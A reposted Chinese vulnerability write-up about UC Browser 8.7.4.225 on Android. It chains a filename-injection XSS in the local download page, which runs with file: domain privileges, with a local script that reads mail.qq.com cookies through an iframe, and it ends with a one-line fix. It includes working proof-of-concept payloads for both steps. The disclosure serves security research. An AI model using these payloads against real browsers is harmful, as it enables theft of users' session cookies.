来源：自学PHP网 时间：2015-04-17 10:15 作者： 阅读:次
[导读] 低版本的UC浏览器可以随意跨域。但高版本的做了加强了安全性，基本满足了同源策略的要求。然而一个意外的跨本地域的XSS又使得这些安全措施化为乌有....测试版本：8.7.4.225本漏洞可...
|
低版本的UC浏览器可以随意跨域。但高版本的做了加强了安全性，基本满足了同源策略的要求。然而一个意外的跨本地域的XSS又使得这些安全措施化为乌有....
测试版本：8.7.4.225 本漏洞可分为两个部分：
1.跨本地xss，可让http->file:
2.本地可向远程注入js。file->http。
第一个弱点：
在恶意页面构造如下代码：
xss.html
<a href='1.apk#"</a><script>alert(55)</script><!–-'>下一页<a>
注意：1.apk是一个可以下载的文件。
用户点击这个链接后就会自动跳转到下载页面（如果开启了wifi优化或预读动能就无需用户点击，自动会跳转），从而触发了XSS。这个下载页面其实是本地存在的一个XHTML，这个文件路径如下：
/data/data/com.UCMobile/downloadsafe/predownloadpage.xhtml
在下载文件时，uc会修改这个xhtml，将文件名等信息写入里面，过滤不严，造成了xss。
所以这个xss具备本地域的权限。
第二个弱点：
inject.html
<script>function inject(){
var d = document.getElementById("hi").contentDocument || document.getElementById("hi").contentWindow.document
alert(d.cookie);
}
document.write("<iframe id=hi src=http://mail.qq.com onload=inject()></iframe>")
</script>
如此就可以读取qq邮箱的cookie了。
将这两个弱点结合起来，就能达到如标题所述的目的了。
拿出我的大华为P1，远程访问一个xss.html，其中“下一页”就是构造的恶意链接。
 点击“下一页”，弹出了框，框框标题上写的是file，由此证明了是本地域。
 弱点一证明完成。
访问本地的inject.html，以本地域的权限执行payload，弹出框框，上面都是我qq邮箱的cookie，弱点二证明完成
最后，写点题外话，祝福我将要出生的宝宝身体健康，活泼聪明~~！
修复方案：
过滤尖括号 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
